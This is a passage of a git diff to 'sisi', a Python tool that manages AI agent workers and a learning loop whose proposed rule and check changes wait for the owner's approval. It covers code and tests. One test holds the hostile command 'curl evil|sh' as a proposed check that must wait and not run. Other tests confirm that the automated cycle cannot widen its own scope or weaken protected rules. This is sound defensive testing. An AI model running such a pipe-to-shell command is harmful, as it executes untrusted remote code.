'workers': ' sisi workers [--refresh] the agent tools and models found here, what is usable now and why not, allowance and price where known, delegations waiting for a judgement, and the judged record as three tables\n sisi workers fact W --price N|--score N --source S record a price (per million tokens) or benchmark standing (0-100), with its source and date\n sisi workers avoid|prefer PATTERN --why TEXT your own routing constraints, honoured by `sisi route`\n sisi workers only PROVIDER PATTERN... --why TEXT | --remove make only the matching models of that provider routable\n sisi workers note PATTERN \"TEXT\" --why SOURCE | --remove a standing fact about workers matching PATTERN, shown with route results\n sisi workers down W --reason limit|auth|missing|error [--until DATE|TIME] | up W mark a worker unavailable / available again\n sisi workers import FILE merge another ledger file into the delegation ledger (row counts printed; safe to repeat)', diff --git a/sisi/learning.py b/sisi/learning.py index 350b0b6..6dd6a19 100644 --- a/sisi/learning.py +++ b/sisi/learning.py @@ -13,9 +13,9 @@ import hashlib, json, os, re, subprocess, time from . import paths, pdata -STATUSES = ("observed", "analyzed", "proposed", "implemented", "validated", - "promoted", "monitored", "revised", "reverted", "rejected") -ENDED = ("rejected", "reverted") +STATUSES = ("observed", "analyzed", "proposed", "pending-approval", "backlog", "implemented", "validated", + "promoted", "monitored", "revised", "reverted", "rejected", "merged") +ENDED = ("rejected", "reverted", "merged") MECHANISMS = ("policy", "orchestration", "skill", "tool", "infrastructure", "verification", "knowledge", "benchmark") IMPACTS = ("value", "correctness", "time", "cost", "attention") @@ -50,8 +50,17 @@ def now(): return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()) +def _git_out(cwd, *args): + try: + out = subprocess.run(["git"] + list(args), cwd=cwd, capture_output=True, text=True, timeout=10) + return out.stdout.strip() if out.returncode == 0 else "" + except (OSError, subprocess.SubprocessError): + return "" + + def project_key(cwd): - """Stable project identity: the git root (main repo for linked worktrees), else the dir.""" + """Stable project identity: the main repository's root, never a linked worktree's own path + (a worktree is deleted when its work is done, and the key must outlive it), else the dir.""" try: from . import groundtruth root, _vcs = groundtruth.main_repo_of(cwd) @@ -59,23 +68,32 @@ def project_key(cwd): return os.path.realpath(root) except Exception: pass - try: - out = subprocess.run(["git", "rev-parse", "--show-toplevel"], cwd=cwd, - capture_output=True, text=True, timeout=10) - if out.returncode == 0 and out.stdout.strip(): - return os.path.realpath(out.stdout.strip()) - except (OSError, subprocess.SubprocessError): - pass + top = _git_out(cwd, "rev-parse", "--show-toplevel") + if top: + common = _git_out(top, "rev-parse", "--path-format=absolute", "--git-common-dir") + if common.endswith("/.git") and common[:-5]: + return os.path.realpath(common[:-5]) + return os.path.realpath(top) return os.path.realpath(cwd) def normalize_project(value): """The project key for an old `repo`/`cwd` value: the same key new code uses when the folder - still exists, else the cleaned path.""" + still exists; for a folder that is gone (a deleted linked worktree), the main repository it was + made from when that can be found; else the cleaned path.""" if not value: return "" value = str(value) - return project_key(value) if os.path.isdir(value) else os.path.realpath(value) + if os.path.isdir(value): + return project_key(value) + try: + from . import groundtruth + root, how, _vcs = groundtruth.resolve_repo(value) + if root and how == "t3-worktree-recovery": + return os.path.realpath(root) + except Exception: + pass + return os.path.realpath(value) def unit_id(project=None): @@ -419,7 +437,8 @@ def learnings_in_scope(project, rows=None, targets=()): return out -DELIVERED = ("promoted", "monitored", "proposed", "observed", "implemented", "validated") +DELIVERED = ("promoted", "monitored", "proposed", "pending-approval", "backlog", "observed", "implemented", + "validated") def _delivery_lines(rows): @@ -474,7 +493,8 @@ def new_record(finding, cause, impact, disposition, project, unit, "validation": {"method": scrub_secrets(validate or ""), "benchmark": None, "result": "unvalidated", "detail": ""}, "status": "promoted" if owner_statement else - ("proposed" if disposition == "promote" else "observed"), + ("backlog" if disposition == "promote" and mechanism == "tool" else + "proposed" if disposition == "promote" else "observed"), "version": 1, "confidence": "high" if owner_statement else "low", "provenance": [{"unit": unit, "project": pk, "ts": now(), "kind": "origin"}], "terms": derive_terms(finding, cause, change or ""), @@ -670,6 +690,10 @@ def learning_report(): lines = ["Learning loop (recorded facts; no improvement is claimed from counts):", "learnings: %d findings: %d closed units known: %d" % (len(rows), len(findings), len(units))] + by = {} + for r in rows: + by[r.get("status")] = by.get(r.get("status"), 0) + 1 + lines.append("by status: " + ", ".join("%s %d" % (k, by[k]) for k in sorted(by, key=lambda x: str(x)))) odd = [r["id"] for r in rows if not is_registered(r, ledger)] if odd: lines.append("not delivered (not written by sisi's own commands, or edited by hand): " + ", ".join(odd)) @@ -712,9 +736,12 @@ def learning_report(): tool = [r for r in rows if r.get("proposed", {}).get("mechanism") == "tool" and r.get("status") not in ENDED] if tool: - lines.append("tool backlog (changes to sisi itself):") + lines.append("tool backlog (%d change(s) to sisi itself; a cycle never acts on them, `sisi promote --export` " + "writes them out):" % len(tool)) for r in tool[:8]: lines.append("- %s: %s" % (r["id"], derive_title(r["title"], 110))) + if len(tool) > 8: + lines.append("- ... and %d more" % (len(tool) - 8)) return "\n".join(lines) + "\n" diff --git a/sisi/lifecycle.py b/sisi/lifecycle.py index f3b05fa..1b66573 100644 --- a/sisi/lifecycle.py +++ b/sisi/lifecycle.py @@ -242,6 +242,7 @@ def run(): pdata.commit("migrate: move personal data out of the product and the state folder", strict=True) notes += pdata.upgrade() notes += migrate_learnings() + notes += repair_learnings() return notes @@ -267,6 +268,60 @@ def _jsonl_rows(path): return rows, bad +def repair_learnings(): + """Repair of a store that was migrated or written by earlier code, run by `sisi update`. It is + idempotent: once a store is repaired it finds nothing to do and writes nothing. Only rows that sisi's own commands wrote, as + they wrote them, are touched, so a hand-edited row is never laundered into the ledger. + - a `proposed` learning that is a change to sisi itself becomes `backlog`; + - a `proposed` learning with a decision waiting for the owner becomes `pending-approval`; + - an origin project (and a provenance project) that is a linked worktree's path, or the path + of a deleted one, becomes the main repository's key, and enforced mechanisms keyed to the + old path follow it. + Returns notes with the counts.""" + from . import cycle, learning as L + rows = L.load_learnings() + ledger = L.load_ledger() + waiting = {i.get("learning") for i in L.load_pending() if i.get("learning")} + changed, backlog, pend, remapped = [], 0, 0, {} + for r in rows: + if not L.is_registered(r, ledger): + continue + did = False + if r.get("status") == "proposed": + if (r.get("proposed") or {}).get("mechanism") == "tool": + r["status"], backlog, did = "backlog", backlog + 1, True + elif r["id"] in waiting: + r["status"], pend, did = "pending-approval", pend + 1, True + old = r.get("origin_project") + new = L.normalize_project(old) if old else old + if new and new != old: + remapped[old] = new + r["origin_project"], did = new, True + for pv in r.get("provenance") or []: + np_ = L.normalize_project(pv.get("project")) if pv.get("project") else pv.get("project") + if np_ and np_ != pv.get("project"): + pv["project"], did = np_, True + if did: + changed.append(r) + if changed: + L.save_learnings(rows, "repair: %d learning record(s) corrected" % len(changed), touched=changed, via="repair") + moved = 0 + for rel, key in (("enforced.json", "checks"), ("risk-adjustments.json", "adjustments"), + ("routing-adjustments.json", "adjustments")): + d = cycle._overlay_json(rel, key) + hit = [e for e in d.get(key, []) if isinstance(e, dict) and e.get("project") in remapped] + if hit: + for e in hit: + e["project"] = remapped[e["project"]] + moved += len(hit) + cycle._put_json(rel, d, "repair: %s keyed to the main repository" % rel) + if not (changed or moved): + return [] + return ["learning repair: %d tool learning(s) moved to the backlog, %d waiting for a decision marked " + "pending-approval, %d project key(s) pointed at the main repository, %d mechanism(s) re-keyed" + % (backlog, pend, len(remapped), moved)] + + def migrate_learnings(): """Old lesson store -> learning records. Whenever the old store exists and the `migrated` marker does not; a backup first; merged by legacy id (a lesson already carried over is not @@ -337,9 +392,12 @@ def migrate_learnings(): origin = L.normalize_project(old.get("project")) or (prov[0]["project"] if prov else "") if not prov: prov = [{"unit": "legacy:%s" % lid, "project": origin, "ts": old.get("created") or "", "kind": "origin"}] - # an old open lesson waits for a cycle, as before: it stays counted by `sisi cycle due` + # an old open lesson waits for a cycle; one that is a change to sisi itself goes to the backlog + # (a cycle cannot promote it, so it must never count as waiting for one) status = {"applied": "implemented", "retired": "reverted", "open": "proposed"}.get(old.get("status"), "observed") kind = old.get("change_kind") + if status == "proposed" and kind == "tool": + status = "backlog" target = str(old.get("target") or "") rec = { "id": L.next_id(rows), "legacy_id": lid, @@ -633,6 +691,7 @@ def import_archive(path): os.chmod(dst, m.mode & 0o777 or 0o644) os.utime(dst, (m.mtime, m.mtime)) notes += migrate_learnings() + notes += repair_learnings() notes += pdata.upgrade() b = overlay.build_canon() notes.append("rulebook rebuilt: %d lines" % b["lines"]) diff --git a/sisi/overlay.py b/sisi/overlay.py index 9d69109..86df633 100644 --- a/sisi/overlay.py +++ b/sisi/overlay.py @@ -97,6 +97,33 @@ def rule_text(r): return "## %s\n\n%s\n" % (r["title"], r["body"]) +def add_to_body(body, add): + """The rule's body with the sentence(s) `add` placed before its `Why:` paragraph: on the end + of the paragraph just before it (no new line), or as a paragraph of their own when that one is a + list. A rule without a Why paragraph gets them at the end.""" + paras = body.split("\n\n") + at = next((i for i in range(len(paras) - 1, -1, -1) if paras[i].lstrip().startswith("Why:")), None) + if at is None: + at = len(paras) + if at == 0: + paras.insert(0, add) + return "\n\n".join(paras) + prev = paras[at - 1] + if any(re.match(r"\s*(?:[-*]|\d+[.)])\s", l) for l in prev.splitlines()): + paras.insert(at, add) + else: + paras[at - 1] = prev.rstrip() + " " + add + return "\n\n".join(paras) + + +def rule_with_added(rid, add, base=None): + """The parsed rule `rid` (from `base`, else the rule in force) with `add` before its Why.""" + cur = base or next((r for r in effective()[1] if r["id"] == rid), None) + if cur is None: + raise OverlayError("no rule %r (the brief lists the ids)" % rid) + return dict(cur, body=add_to_body(cur["body"], add)) + + def _read(p): with open(p, encoding="utf-8") as f: return f.read() diff --git a/sisi/retro.py b/sisi/retro.py index 2abd919..d793ef3 100644 --- a/sisi/retro.py +++ b/sisi/retro.py @@ -5,7 +5,7 @@ finding with a disposition. Only the fields the disposition needs are asked for; terms, topics and short lines are derived by the tool. A finding that resembles an existing learning is attached to it as a recurrence candidate, never refused in a loop. """ -import hashlib, json, os, subprocess, sys +import hashlib, json, os, re, subprocess, sys from . import learning as L, paths @@ -205,16 +205,17 @@ def cmd_retro(argv, stdin=None): def cmd_lessons(argv): - """sisi lessons [show ID] [--json] — list learning records. No digest; see status --learning.""" + """sisi lessons [ID | show ID] [--json] — list learning records, or show one. No digest; see status --learning.""" rows = L.load_learnings() if argv and argv[0] == "digest": print("sisi lessons: digest is retired; `sisi status --learning` is the one report", file=sys.stderr) return 2 - if argv and argv[0] == "show" and len(argv) > 1: - r = L.get(rows, argv[1]) + if argv and (re.fullmatch(r"L-\d+", argv[0]) or (argv[0] == "show" and len(argv) > 1)): + lid = argv[0] if argv[0] != "show" else argv[1] + r = L.get(rows, lid) if r is None: - print("no learning %r" % argv[1], file=sys.stderr) + print("no learning %r" % lid, file=sys.stderr) return 2 print(json.dumps(r, indent=2, sort_keys=True)) return 0 diff --git a/sisi/scorecard.py b/sisi/scorecard.py index 82a4bee..60c8804 100644 --- a/sisi/scorecard.py +++ b/sisi/scorecard.py @@ -414,7 +414,7 @@ def format_open(rows): return lines -def format_status(units, learning=False, recent=5, opened=()): +def format_status(units, recent=5, opened=()): lines = [] if opened: lines.append("units in progress:") @@ -445,22 +445,27 @@ def format_status(units, learning=False, recent=5, opened=()): v["n"] if v != "unavailable" else 0) for name, v in m.items()] lines.append(" %-28s %s" % (seg[:28], "; ".join(cells))) - if learning: - lines.append("") - try: - from . import learning as _L - lines.append(_L.learning_report()) - except Exception as e: - store.log_error("status-learning", e) - lines.append("learning: unavailable (%s)" % e) return "\n".join(lines) +def format_learning(): + """The learning report alone (`sisi status --learning`).""" + try: + from . import learning as _L + return _L.learning_report().rstrip("\n") + except Exception as e: + store.log_error("status-learning", e) + return "learning: unavailable (%s)" % e + + def cmd_status(args=(), cwd=None, out=print): units = load_unit_summaries(cwd) opened = open_units(cwd) if "--json" in args: out(json.dumps({"open": opened, "units": units, "trends": trends(units)}, indent=2, default=str)) return 0 - out(format_status(units, learning="--learning" in args, opened=opened)) + if "--learning" in args: # asked for the learning report: just that + out(format_learning()) + return 0 + out(format_status(units, opened=opened)) return 0 diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index 0ea3d0b..6960f13 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -5,7 +5,7 @@ to run, validate or take effect that nobody approved. """ import json, os, subprocess, sys, unittest -from support import SisiCase +from support import SisiCase, terminal from test_learning_loop import Base, PROMOTE, FINDING, CAUSE, _contract from sisi import learning as L @@ -313,3 +313,238 @@ class Approval(Base): low = text.lower() for needle in ("typed word", "before-tool hook", "controlling terminal", "does not stop"): self.assertIn(needle, low) + + +def _tool_args(n): + return ("retro", "--new", "--finding", "the stub number %d crashed sisi cycle on input case %d" % (n, n), + "--cause", "no test covered stub %d" % n, "--impact", "correctness", "--disposition", "promote", + "--change", "make sisi cycle handle stub %d" % n, "--mechanism", "tool", + "--expect", "stub %d no longer crashes" % n, "--validate", "run stub %d" % n) + + +class Due(Base): + """R-11.5-4, R-11.5-7, R-14.4-1 (items 4 and 9): "due" counts only learnings a cycle can act on.""" + + def test_a_tool_learning_is_backlog_never_proposed_and_never_due(self): + """Item 4: recording a tool learning gives it the status `backlog`; five of them make no cycle due; + they appear in the learning report and the contribution export, never in a brief.""" + from sisi import cycle, release + _contract(self) + for n in range(6): + self.assertEqual(self.sisi(*_tool_args(n)).returncode, 0) + self.assertEqual({r["status"] for r in self.rows()}, {"backlog"}) + self.assertEqual(cycle.proposed(), []) + self.assertNotIn("cycle is due", cycle.due_notice()) + self.assertNotIn("L-0001", self.sisi("cycle").stdout) + self.assertIn("tool backlog (6 change(s)", L.learning_report()) + self.assertIn("backlog 6", L.learning_report()) + self.assertEqual(len(release.core_items()[0]), 6) + # five learnings a cycle can act on make it due + for n in range(5): + self.another(n) + self.assertIn("cycle is due (5 proposed", cycle.due_notice()) + + def test_a_learning_waiting_for_the_owner_is_not_proposed_and_the_cycle_is_not_due_again(self): + """Item 4: after a cycle parks everything, session start does not say a cycle is due.""" + from sisi import cycle + _contract(self) + self.git_init() + ids = [self.another(n) for n in range(5)] + self.assertIn("cycle is due", cycle.due_notice()) + self.assertEqual(self.apply([{"action": "promote", "learning": i, "mechanism_kind": "command-check", + "cmd": "make check-%s" % i} for i in ids]).returncode, 0) + self.assertEqual({r["status"] for r in self.rows()}, {"pending-approval"}) + self.assertEqual(cycle.proposed(), []) + out = cycle.due_notice() + self.assertNotIn("cycle is due", out) + self.assertIn("wait for the owner", out) + self.assertNotIn("L-0001", self.sisi("cycle").stdout) # not in a brief either + # the owner declines one: it is rejected, not proposed again + with terminal(): + self.assertEqual(self.sisi("approve", "P-0001", "--no").returncode, 0) + self.assertEqual(self.rows()[0]["status"], "rejected") + self.assertEqual(cycle.proposed(), []) + + def test_the_config_switch_that_silenced_the_notice_is_gone(self): + """Item 4: learning.cycle_notice was a stopgap for the bug; the code for it is deleted.""" + from sisi import cycle + _contract(self) + for n in range(5): + self.another(n) + self.set_config({"learning": {"cycle_notice": False}}) + self.assertIn("cycle is due", cycle.due_notice()) + with open(os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), "sisi", "cycle.py")) as f: + self.assertNotIn("cycle_notice", f.read()) + + def test_migration_puts_an_old_tool_lesson_in_the_backlog(self): + """Item 4: the old store's open tool lesson becomes `backlog`, an open check lesson `proposed`.""" + from sisi import lifecycle + from test_learning_loop import Migration + Migration.seed(self) + lifecycle.migrate_learnings() + by = {r["legacy_id"]: r["status"] for r in self.rows() if r.get("legacy_id")} + self.assertEqual((by[2], by[3]), ("backlog", "proposed")) + + +class Repair(Base): + """R-11.6-6, R-16-9 (items 4 and 9): a store migrated by earlier code is repaired once by `sisi update`.""" + + def old_store(self): + """Rows as earlier code wrote them: a tool learning `proposed`, one with a decision waiting, + and one whose origin is a deleted linked worktree.""" + _contract(self) + self.git_init() + self.sisi(*_tool_args(1)) + for n in range(2): + self.another(n) + self.apply([{"action": "promote", "learning": "L-0003", "mechanism_kind": "command-check", "cmd": "make a"}]) + rows = self.rows() + by = {r["id"]: r for r in rows} + by["L-0001"]["status"] = "proposed" + by["L-0003"]["status"] = "proposed" + dead = os.path.join(self.home, ".t3", "worktrees", "proj", "t3-gone") + by["L-0002"]["origin_project"] = dead + by["L-0002"]["provenance"][0]["project"] = dead + L.save_learnings(rows, "old code", touched=rows, via="test") + return dead + + def test_update_repairs_statuses_and_project_keys_once(self): + from sisi import lifecycle + main = os.path.join(self.home, "Code", "proj") + os.makedirs(main) + self.git_init(main) + dead = self.old_store() + # an enforced mechanism written for the dead path follows the learning + os.makedirs(os.path.join(self.data, "overlay"), exist_ok=True) + with open(os.path.join(self.data, "overlay", "enforced.json"), "w") as f: + json.dump({"checks": [{"type": "contract-requirement", "when": "data", "require_kind": "parsing", + "learning": "L-0002", "scope": "project", "project": dead}]}, f) + notes = lifecycle.repair_learnings() + self.assertTrue(notes and "1 tool learning(s) moved to the backlog" in notes[0], notes) + by = {r["id"]: r for r in self.rows()} + self.assertEqual(by["L-0001"]["status"], "backlog") + self.assertEqual(by["L-0003"]["status"], "pending-approval") + self.assertEqual(by["L-0002"]["origin_project"], os.path.realpath(main)) + self.assertEqual(by["L-0002"]["provenance"][0]["project"], os.path.realpath(main)) + self.assertEqual(self.read_json("overlay/enforced.json")["checks"][0]["project"], os.path.realpath(main)) + self.assertTrue(all(L.is_registered(r) for r in self.rows())) # still delivered: the repair is sisi's own + self.assertEqual(lifecycle.repair_learnings(), []) # idempotent: nothing to do the second time + # `sisi update` runs it (the migrate step is where an installation brings its data up to date) + self.assertIn("repair_learnings()", open(lifecycle.__file__).read().split("def run():")[1].split("def migrate_learnings")[0]) + + def test_a_hand_edited_row_is_not_laundered_by_the_repair(self): + from sisi import lifecycle + self.old_store() + with open(L.learnings_path()) as f: + text = f.read() + with open(L.learnings_path(), "w") as f: + f.write(text.replace('"title": "make sisi cycle handle stub 1"', '"title": "hand edited"', 1)) + lifecycle.repair_learnings() + self.assertFalse(L.is_registered(L.get(self.rows(), "L-0001"))) + + +class Origin(Base): + """R-11.6-2, R-16-5 (item 9): an origin project is the main repository, never a worktree's path.""" + + def test_a_linked_worktree_records_the_main_repository(self): + main = os.path.join(self.tmp, "main") + os.makedirs(main) + self.git_init(main) + wt = os.path.join(self.tmp, "wt-linked") + subprocess.run(["git", "worktree", "add", "-q", "-b", "side", wt], cwd=main, check=True, capture_output=True) + self.assertEqual(L.project_key(wt), os.path.realpath(main)) + # even when the helper that finds the main repository fails, the key is not the worktree's path + import unittest.mock + with unittest.mock.patch("sisi.groundtruth.main_repo_of", side_effect=RuntimeError("boom")): + self.assertEqual(L.project_key(wt), os.path.realpath(main)) + _contract(self, "uw", wt) + r = self.retro(*PROMOTE[1:], cwd=wt) + self.assertEqual(r.returncode, 0, r.stderr) + rec = self.rows()[0] + self.assertEqual(rec["origin_project"], os.path.realpath(main)) + self.assertEqual(rec["provenance"][0]["project"], os.path.realpath(main)) + + def test_a_deleted_worktree_path_resolves_to_its_main_repository(self): + main = os.path.join(self.home, "Code", "proj") + os.makedirs(main) + self.git_init(main) + dead = os.path.join(self.home, ".t3", "worktrees", "proj", "t3-abc123") + self.assertEqual(L.normalize_project(dead), os.path.realpath(main)) + + def test_a_mechanism_whose_project_is_gone_waits_for_the_owner(self): + """Item 9: nothing can show it works in a project that no longer exists on disk.""" + self.git_init() + _contract(self) + self.retro(*PROMOTE[1:]) + rows = self.rows() + gone = os.path.join(self.tmp, "deleted-project") + rows[0]["origin_project"] = gone + L.save_learnings(rows, "test", touched=rows, via="test") + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk", + "pattern": "f.txt", "profile": "critical"}]) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(len(self.pending()), 1) + self.assertIn("no longer exists", self.pending()[0]["reasons"][0]) + self.assertFalse(self.exists("overlay/risk-adjustments.json")) + + def test_a_requirement_whose_when_no_code_evaluates_is_refused(self): + """Item 9: free text in `when` can never trigger; a risk profile or a path glob can.""" + from sisi import cycle + self.git_init() + _contract(self) + self.retro(*PROMOTE[1:]) + req = {"action": "promote", "learning": "L-0001", "mechanism_kind": "contract-requirement", + "require_kind": "parsing"} + for when in ("csv import", "when the user mentions money", "data and stuff"): + r = self.apply([dict(req, when=when)]) + self.assertEqual(r.returncode, 2, when) + self.assertIn("not something the code evaluates", r.stderr) + r = self.apply([dict(req, when="data", require_kind="property")]) + self.assertIn("require_kind", r.stderr) + # evaluated: a profile (that or a higher one) and a path glob + c = {"goal": "g", "risk": {"profile": "critical"}, "checks": []} + self.assertFalse(cycle._requirement_met(c, dict(req, when="data"), self.proj)) + self.assertTrue(cycle._requirement_met(dict(c, risk={"profile": "logic"}), dict(req, when="data"), self.proj)) + self.assertTrue(cycle._requirement_met(dict(c, checks=[{"kind": "parsing", "rung": 3}]), dict(req, when="data"), self.proj)) + os.makedirs(os.path.join(self.proj, "src", "auth")) + self.write("src/auth/login.py", "x = 1\n") + self.assertFalse(cycle._requirement_met(c, dict(req, when="src/auth/**"), self.proj)) + self.assertTrue(cycle._requirement_met(c, dict(req, when="src/billing/**"), self.proj)) + self.assertEqual(self.apply([dict(req, when="src/auth/**")]).returncode, 0) + + +class Duplicates(Base): + """R-11.5-11, R-16-8 (item 5): no second decision about something already waiting.""" + + def test_a_learning_that_already_waits_cannot_be_promoted_again(self): + self.git_init() + _contract(self) + self.retro(*PROMOTE[1:]) + act = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": "make deploy"} + self.assertEqual(self.apply([act]).returncode, 0) + r = self.apply([dict(act, cmd="make deploy2")], base=L.store_base()) + self.assertEqual(r.returncode, 2) + self.assertIn("already waits for the owner (P-0001)", r.stderr) + self.assertEqual(len(self.pending()), 1) + + def test_a_second_replacement_of_the_same_rule_is_refused_while_the_first_waits(self): + _contract(self) + a, b = "L-0001", None + self.another(0) + b = self.another(1) + text = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n" + rep = lambda lid: {"action": "promote", "learning": lid, "mechanism_kind": "rule-replace", + "rule_id": "deliver-fast", "rule_text": text, + "shortens": "nothing: the rule is already short"} + self.assertEqual(self.apply([rep(a)]).returncode, 0) + r = self.apply([rep(b)], base=L.store_base()) + self.assertEqual(r.returncode, 2) + self.assertIn("rule deliver-fast already has a change waiting (P-0001)", r.stderr) + # two in one file: the second is refused too, and so is disabling a rule with a change waiting + c, d = self.another(2), self.another(3) + rep2 = lambda lid: dict(rep(lid), rule_id="orchestrate", rule_text="## O {#orchestrate}\n\nDelegate.\n\nWhy: cost.\n") + r = self.apply([rep2(c), rep2(d)], base=L.store_base()) + self.assertIn("in this file", r.stderr) + r = self.apply([{"action": "disable-rule", "rule_id": "deliver-fast"}], base=L.store_base()) + self.assertIn("already has a change", r.stderr) + self.assertEqual(len(self.pending()), 1) diff --git a/tests/test_learning_loop.py b/tests/test_learning_loop.py index 87fd64b..3cfe3b7 100644 --- a/tests/test_learning_loop.py +++ b/tests/test_learning_loop.py @@ -110,6 +110,18 @@ class Base(SisiCase): self.assertEqual(r.returncode, 0, r.stderr) return other + def another(self, n): + """A further proposed learning (L-000n), recorded as its own (--new) with words of its own.""" + word = ("alpha bravo charlie delta echo foxtrot golf hotel india juliet kilo lima mike november oscar papa " + "quebec romeo sierra tango").split()[n] + r = self.retro("--new", "--finding", "the %s importer dropped %s rows in the nightly run" % (word, 10 + n), + "--cause", "no fixture covered the %s case" % word, "--impact", "correctness", + "--disposition", "promote", "--change", "add a %s fixture to the importer tests" % word, + "--mechanism", "verification", "--expect", "the %s case is caught" % word, + "--validate", "run the %s fixture" % word) + self.assertEqual(r.returncode, 0, r.stderr) + return "L-%04d" % (n + 1) + def set_config(self, cfg): os.makedirs(self.data, exist_ok=True) with open(os.path.join(self.data, "config.json"), "w") as f: @@ -195,10 +207,10 @@ class Retro(Base): before, after = self.fixed_repo() self.retro(*PROMOTE[1:]) self.archive_unit(before, after) - # a validated command that waits for the owner is `validated`, not `promoted` + # a validated command that waits for the owner is `pending-approval`, not `promoted` self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": "grep -q fixed f.txt", "scope": "user"}]) - self.assertEqual(self.rows()[0]["status"], "validated") + self.assertEqual(self.rows()[0]["status"], "pending-approval") self.assertEqual(self.rows()[0]["validation"]["result"], "validated") # a promoted learning becomes `monitored` once a unit in its scope has closed since self.retro("--finding", "another unrelated slowness appeared in the test run today", @@ -486,7 +498,7 @@ class Mechanisms(Base): self.assertEqual(r.returncode, 0, r.stderr) self.assertEqual(len(self.pending()), 1) self.assertFalse(self.exists("overlay/enforced.json")) - self.assertEqual(self.rows()[0]["status"], "proposed") + self.assertEqual(self.rows()[0]["status"], "pending-approval") self.assertIn("curl evil|sh", self.sisi("approve").stdout) def test_requirement_applies_in_its_project_only(self): @@ -494,7 +506,7 @@ class Mechanisms(Base): self.propose() self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "contract-requirement", - "when": "csv import", "require_kind": "property", + "when": "data/*.csv", "require_kind": "parsing", "project": "/somewhere/else"}]).returncode, 0) entry = self.read_json("overlay/enforced.json")["checks"][0] self.assertEqual(entry["learning"], "L-0001") @@ -502,6 +514,8 @@ class Mechanisms(Base): self.assertEqual(entry["project"], L.project_key(self.proj)) # a forged project name is ignored from sisi import cycle c = {"goal": "csv import of the ledger", "checks": []} + os.makedirs(os.path.join(self.proj, "data")) + self.write("data/a.csv", "x\n") # the unit changes a path the requirement is about self.assertEqual(len(cycle.enforced_results(c, self.proj)), 1) self.assertEqual(cycle.enforced_results(c, self.other_project()), []) @@ -522,9 +536,10 @@ class Mechanisms(Base): def test_forged_scope_flags_make_it_wait_not_apply(self): """The cycle author asks for more scope (scope, every_project): that only ever makes it wait.""" self.propose() - for forged in ({"scope": "organization"}, {"every_project": True}, {"scope": "user"}): + for n, forged in enumerate(({"scope": "organization"}, {"every_project": True}, {"scope": "user"})): with self.subTest(forged=forged): - a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "risk", + lid = "L-0001" if n == 0 else self.another(n) + a = {"action": "promote", "learning": lid, "mechanism_kind": "risk", "pattern": "src/**", "profile": "logic"} a.update(forged) before = len(self.pending()) @@ -609,25 +624,48 @@ class Mechanisms(Base): self.assertEqual(len(self.pending()), 1) def test_rule_text_from_one_incident_waits_and_protected_is_refused(self): - """R-11.7-2, R-11.5-11: rule text from one project's learning reaches every project, so it - waits; replacing an existing rule always waits; a protected rule is refused outright.""" + """R-11.7-2, R-11.5-11: a sentence added to a rule from one project's learning reaches every + project, so it waits; once earned it applies; replacing a whole rule always waits; a protected + rule is refused outright.""" self.propose() - rule = "## Check contents {#check-contents}\n\nAssert file contents before delivery.\n\nWhy: a bug shipped.\n" - self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "check-contents", "rule_text": rule}]).returncode, 0) + add = {"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-add", "rule_id": "deliver-fast", + "add": "Say which check you skipped and why, in the report.", + "shortens": "nothing: the rule is one paragraph and every sentence is needed"} + self.assertEqual(self.apply([add]).returncode, 0) self.assertEqual(len(self.pending()), 1) - self.assertFalse(self.exists("overlay/rules/check-contents.md")) - self.earn("L-0001") - self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "check-contents", "rule_text": rule}], base=L.store_base()).returncode, 0) - self.assertTrue(self.exists("overlay/rules/check-contents.md")) # earned: an addition applies + self.assertEqual(self.rows()[0]["status"], "pending-approval") + from sisi import overlay + self.assertNotIn("check you skipped", overlay.render()) + # a decision by the owner makes it a revertible cycle; the sentence is in the loaded rulebook + with self.tty(): + self.assertEqual(self.sisi("approve", "P-0001", "--yes").returncode, 0) + self.assertIn("check you skipped", overlay.render()) + # the sentence went before the rule's Why paragraph + body = overlay.render().split("{#deliver-fast}", 1)[1] + self.assertLess(body.index("check you skipped"), body.index("Why:")) + # earned scope: a second learning that was seen in two units in two projects applies at once + second = self.another(1) + self.earn(second, finding="the bravo importer dropped 11 rows in the nightly run", + cause="no fixture covered the bravo case") + add2 = dict(add, learning=second, rule_id="own-the-outcome", + add="Record each assumption you make so it can be checked later.") + self.assertEqual(self.apply([add2], base=L.store_base()).returncode, 0) + self.assertIn("Record each assumption", overlay.render()) + # replacing a whole rule always waits, even when earned replace = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n" - self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "deliver-fast", "rule_text": replace}], base=L.store_base()).returncode, 0) - self.assertEqual(len(self.pending()), 2) # a replacement waits even when earned - r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "verify-enough", "rule_text": replace}], base=L.store_base()) + third = self.another(2) + self.earn(third, other=self.other_project("other3"), finding="the charlie importer dropped 12 rows in the nightly run", + cause="no fixture covered the charlie case") + self.assertEqual(self.apply([{"action": "promote", "learning": third, "mechanism_kind": "rule-replace", + "rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", + "rule_text": replace}], base=L.store_base()).returncode, 0) + self.assertEqual(len(self.pending()), 1) # a replacement waits even when earned + fourth = self.another(3) + r = self.apply([{"action": "promote", "learning": fourth, "mechanism_kind": "rule-add", "rule_id": "verify-enough", + "add": "Skip checks when the change is small.", "shortens": "nothing: n/a here ok"}], + base=L.store_base()) self.assertNotEqual(r.returncode, 0) + self.assertIn("protected", r.stderr) def test_protection_fails_closed_when_the_file_cannot_be_read(self): """R-11.7-2 (item 13): with canon/protected.json unreadable, no rule changes by cycle or overlay.""" @@ -639,8 +677,8 @@ class Mechanisms(Base): return os.path.join(self.tmp, "no-such-dir", 